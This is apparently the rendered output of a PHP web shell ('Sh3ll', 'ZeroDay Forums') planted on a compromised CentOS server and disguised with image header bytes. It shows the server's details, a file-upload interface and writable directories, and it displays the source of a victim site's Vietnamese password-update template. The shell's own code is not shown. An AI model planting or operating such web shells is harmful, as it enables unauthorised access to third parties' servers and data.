ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/code/guest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/code/guest/updatepassword_tpl.php
<div class="container">
<nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item"><a href="/">Home</a></li>
        <li class="breadcrumb-item active" aria-current="page">Cập nhật mật khẩu</li>
    </ol>
</nav>
<div class="card">
    <div class="card-header">Xin chào <strong class="text-info"><?php echo $fullname;?></strong>! Vui lòng Ä‘iá»n đầy đủ thông tin bên dÆ°á»›i để tiếp tục: </div>
    <div class="card-body">
        <div class="row">
            <div class="g_auth_login col-md-12 text-center">
                <img class="profile-user-img button_edit_image img-fluid img-circle" src="<?php echo $link_avatar;?>" alt="" id="OpenImgUpload">
            </div>
            <div class="g_auth_login col-md-12 d-flex justify-content-center">
                <form class="" action="" method="post" id="form_update_and_login">
                    <input type="hidden" value="<?php echo $guest_id;?>" name="guest_id">
                    <?php
                    /*if($_SESSION['openid_type']=='facebook'){
                        if (!filter_var($_SESSION['email'], FILTER_VALIDATE_EMAIL)) {
                            echo '<input type="hidden" name="auth_code" id="auth_code" value="">';
                        }
                    }*/
                    ?>
                    <!-- Email input -->
                    <div class="form-group form-outline mb-2">
                        <label class="form-label" for="email_user">Email address</label>
                        <input type="email" id="email_user" name="email_user" autocomplete="off" class="form-control" value="<?php
                        if (filter_var($_SESSION['email'], FILTER_VALIDATE_EMAIL)) {
                            echo $_SESSION['email'];
                        }
                        ?>"
                            <?php
                            if($_SESSION['openid_type']=='google'){
                                echo 'disabled';
                            }else{
                                if (filter_var($_SESSION['email'], FILTER_VALIDATE_EMAIL)) {
                                    echo 'disabled';
                                }
                            }
                            ?>
                        />
                    </div>

                    <!-- Password input -->
                    <div class="form-group form-outline mb-2">
                        <label class="form-label" for="password">Mật khẩu</label>
                        <input type="password" id="password" class="form-control" required />
                    </div>

                    <!-- Password input -->
                    <div class="form-group form-outline mb-2">
                        <label class="form-label" for="re_password">Nhập lại mật khẩu</label>
                        <input type="password" id="re_password" class="form-control" name="re_password" required />
                    </div>
                    <div class="alert alert-danger alert-dismissible box_info_alert" id="success-alert">
                        <span id="success-alert-text"></span>
                        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                    </div>
                    <!-- 2 column grid layout for inline styling -->
                    <div class="row mb-2 mt-4">
                        <!-- Submit button -->
                        <input type="submit" class="submit" style="display:none;" name="submitbt">
                        <a class="update_and_login btn btn-info text-white" href="javascript:void(0);">Cập nhật và Äăng nhập</a>
                    </div>
                    <!-- Register buttons -->
                    <div class="alert alert-warning alert-dismissible fade show mt-4" role="alert">
                        Mật khẩu này không phải của tài khoản Google của bạn, chỉ dùng để đăng nhập vào web nếu tài khoản Google của bạn bị khóa.
                        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                    </div>
                </form>
            </div>
        </div>

    </div>
</div>
</div>

<div class="modal fade" id="auth_code_modal" tabindex="-1" aria-labelledby="auth_code_modalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                Please enter the verification code sent to your email: <b id="txt_email"></b>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <div class="mb-3">
                    <label for="txt_auth_code" class="form-label">Auth code</label>
                    <input type="text" class="form-control" id="txt_auth_code" name="txt_auth_code" aria-describedby="emailHelp">
                    <div id="emailHelp" class="form-text">Please check email (inbox or spam) <b id="txt_email2"></b> and input auth code .</div>
                </div>
            </div>
            <div class="modal-footer">
                 <a class="send_auth_code btn btn-danger" href="javascript:void(0);">Submit</a>
                <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);" data-bs-dismiss="modal">Close</a>

            </div>
        </div>
    </div>
</div>
<script>
    $(document).ready(function() {
        var cur_url = undefined;
        cur_url = document.location.href;
        var cur_url = typeof cur_url === 'string' ? cur_url.split('#') : [];

        if (validateEmail(cur_url[1])) {
            toastr.warning('Email ' + cur_url[1] + ' already registered, please choose another email!');
            window.history.pushState('page2', 'Title', cur_url[0]);
        }

        function validateEmail(email) {
            var re = /\S+@\S+\.\S+/;
            return re.test(email);
        }
        if(cur_url[1]!='')
        var myArray =  typeof cur_url[1] === 'string' ? cur_url[1].split('--') : [];
        if (myArray[0] == 'auth_code_input') {
            $('#auth_code_modal').modal('show');
            var email = myArray[1].replace("[]", "@");
            $(".modal-header #txt_email").html(email);
            $(".modal-body #txt_email2").html(email);
            window.history.pushState('page2', 'Title', cur_url[0]);
        }

        $('.send_auth_code').click(function(){
            var txt_auth_code = $('#txt_auth_code').val();
            if(txt_auth_code==''){
                swal.fire('','Please enter the auth code!');
                return false;
            }
            var guest_id = $('input[name="guest_id"]').val();
            $.ajax({url: '?act=ajax&code=auth_code&txt_auth_code='+txt_auth_code+'&guest_id='+guest_id,
                'dataType':'json',
                success: function(result){
                if(result.status=='fail'){
                    swal.fire('','Wrong auth code, please try again!');
                    return false;
                }else{
                    location.href=result.url_ref;
                }
            }});
        });

        $('.update_and_login').click(function (){
            var password = $('#password').val();
            var re_password = $('#re_password').val();
            if(password=='' || re_password==''){
                $("#success-alert-text").html('Please enter password and re-password');
                $("#success-alert").fadeTo(3000, 500).slideUp(500, function() {
                    $("#success-alert").slideUp(3000);
                });
                $('#password').focus();
                return  false;
            }
            if(password!=re_password){
                $("#success-alert-text").html('Please enter password same with re-password');
                $("#success-alert").fadeTo(3000, 500).slideUp(500, function() {
                    $("#success-alert").slideUp(3000);
                });
                return  false;
            }

            $('#form_update_and_login .submit').click();
            return false;

        });
    });
</script>

ZeroDay Forums Mini